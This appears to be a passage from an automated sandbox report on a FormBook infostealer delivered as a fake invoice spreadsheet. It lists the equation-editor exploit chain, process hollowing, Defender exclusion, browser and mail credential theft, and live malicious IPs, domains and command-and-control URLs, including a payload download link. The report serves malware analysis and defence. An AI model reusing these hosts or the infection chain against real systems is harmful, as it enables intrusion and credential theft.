Source: C:\Users\Public\vbc.exe Process created: C:\Users\Public\vbc.exe C:\Users\Public\vbc.exe Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe Process created: C:\Program Files (x86)\Mozilla Firefox\firefox.exe C:\Program Files (x86)\Mozilla Firefox\Firefox.exe Jump to behavior
Source: explorer.exe, 0000000A.00000000.1012652801.0000000000830000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 0000000A.00000000.1053337399.0000000000830000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 0000000A.00000000.1029899123.0000000000830000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 0000000A.00000000.1012652801.0000000000830000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 0000000A.00000000.999837899.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000A.00000000.1029308104.0000000000335000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Progman
Source: explorer.exe, 0000000A.00000000.1012652801.0000000000830000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 0000000A.00000000.1053337399.0000000000830000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 0000000A.00000000.1029899123.0000000000830000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: Program Manager<
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\Public\vbc.exe Queries volume information: C:\Users\Public\vbc.exe VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell_ise.exe VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\hh.exe VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\assembly\GAC_32\System.Transactions\2.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\assembly\GAC_32\System.Transactions\2.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\assembly\GAC_32\System.Data\2.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\assembly\GAC_32\System.Data\2.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Stealing of Sensitive Information
barindex
Yara detected FormBook
Source: Yara match File source: 9.0.vbc.exe.400000.9.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.2.vbc.exe.3842f58.9.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.vbc.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.0.vbc.exe.400000.7.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.0.vbc.exe.400000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.vbc.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.0.vbc.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.0.vbc.exe.400000.9.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000009.00000002.1069848663.0000000000140000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000000.1175795140.00000000000C0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000000.995456995.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.1069986638.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000002.999123801.0000000003842000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000000.1028504490.000000000B6A9000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.1178186749.00000000000C0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000000.1039502497.000000000B6A9000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.1069951838.0000000000380000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000000.1174695923.00000000000C0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000000.995827598.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.1178294756.0000000000230000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.1178354979.0000000000260000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Tries to steal Mail credentials (via file / registry access)
Source: C:\Windows\SysWOW64\mstsc.exe Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\ Jump to behavior
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Windows\SysWOW64\mstsc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe File opened: C:\Users\user\AppData\Roaming\Opera Software\Opera Stable\Login Data Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies Jump to behavior

Remote Access Functionality
barindex
Yara detected FormBook
Source: Yara match File source: 9.0.vbc.exe.400000.9.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.2.vbc.exe.3842f58.9.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.vbc.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.0.vbc.exe.400000.7.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.0.vbc.exe.400000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.vbc.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.0.vbc.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.0.vbc.exe.400000.9.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000009.00000002.1069848663.0000000000140000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000000.1175795140.00000000000C0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000000.995456995.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.1069986638.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000002.999123801.0000000003842000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000000.1028504490.000000000B6A9000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.1178186749.00000000000C0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000000.1039502497.000000000B6A9000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.1069951838.0000000000380000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000000.1174695923.00000000000C0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000000.995827598.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.1178294756.0000000000230000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.1178354979.0000000000260000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 626593 Sample: PROFORMA INVOICE.xlsx Startdate: 14/05/2022 Architecture: WINDOWS Score: 100 48 www.cariniclinicalconsulting.com 2->48 64 Found malware configuration 2->64 66 Malicious sample detected (through community Yara rule) 2->66 68 Antivirus detection for URL or domain 2->68 70 14 other signatures 2->70 11 EQNEDT32.EXE 12 2->11         started        16 EXCEL.EXE 34 26 2->16         started        signatures3 process4 dnsIp5 50 198.12.89.166, 49173, 80 AS-COLOCROSSINGUS United States 11->50 42 C:\Users\user\AppData\Local\...\vbc[1].exe, PE32 11->42 dropped 44 C:\Users\Public\vbc.exe, PE32 11->44 dropped 88 Office equation editor establishes network connection 11->88 90 Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802) 11->90 18 vbc.exe 3 11->18         started        46 C:\Users\user\...\~$PROFORMA INVOICE.xlsx, data 16->46 dropped file6 signatures7 process8 file9 38 C:\Users\user\AppData\...\dDqpEdJEtzi.exe, PE32 18->38 dropped 40 C:\Users\user\AppData\Local\...\tmp7282.tmp, XML 18->40 dropped 72 Machine Learning detection for dropped file 18->72 74 Uses schtasks.exe or at.exe to add and modify task schedules 18->74 76 Adds a directory exclusion to Windows Defender 18->76 78 2 other signatures 18->78 22 vbc.exe 18->22         started        25 powershell.exe 6 18->25         started        27 schtasks.exe 18->27         started        signatures10 process11 signatures12 80 Modifies the context of a thread in another process (thread injection) 22->80 82 Maps a DLL or memory area into another process 22->82 84 Sample uses process hollowing technique 22->84 86 Queues an APC in another process (thread injection) 22->86 29 explorer.exe 22->29 injected process13 dnsIp14 52 www.employeebnsf.com 185.53.179.171, 49174, 80 TEAMINTERNET-ASDE Germany 29->52 54 www.dems-clicks.com 5.183.8.183, 49175, 80 INTERXSCH Germany 29->54 92 System process connects to network (likely due to code injection or exploit) 29->92 33 mstsc.exe 9 29->33         started        signatures15 process16 signatures17 56 Tries to steal Mail credentials (via file / registry access) 33->56 58 Tries to harvest and steal browser information (history, passwords, etc) 33->58 60 Modifies the context of a thread in another process (thread injection) 33->60 62 3 other signatures 33->62 36 firefox.exe 33->36         started        process18
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
198.12.89.166
 unknown United States
36352 AS-COLOCROSSINGUS true
5.183.8.183
 www.dems-clicks.com Germany
64463 INTERXSCH true
185.53.179.171
 www.employeebnsf.com Germany
61969 TEAMINTERNET-ASDE true

Contacted Domains

Name IP Active
www.employeebnsf.com 185.53.179.171 true
www.dems-clicks.com 5.183.8.183 true
www.cariniclinicalconsulting.com 104.21.75.67 true

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://www.dems-clicks.com/n6g4/?Rju=oW3KVVYfOUtMWnx9E4fO+4eOl+SZoa0wNCifvEB8Y9jnCg3EyPPrm8173PHAA8seoyylQg==&ohA=4hdXYFAH true
  • Avira URL Cloud: malware
 unknown
http://198.12.89.166/55/vbc.exe true
  • Avira URL Cloud: safe
 unknown
www.admincost.com/n6g4/ true
  • Avira URL Cloud: safe
 low
http://www.employeebnsf.com/n6g4/?ohA=4hdXYFAH&Rju=/8Ga1vKBK5Zv+SvpDfc9R87wDDB6IH5FC+aL3DgDAA8ZWL71dgMkGG8I5dFlam/RYjehgQ== true
  • Avira URL Cloud: malware
 unknown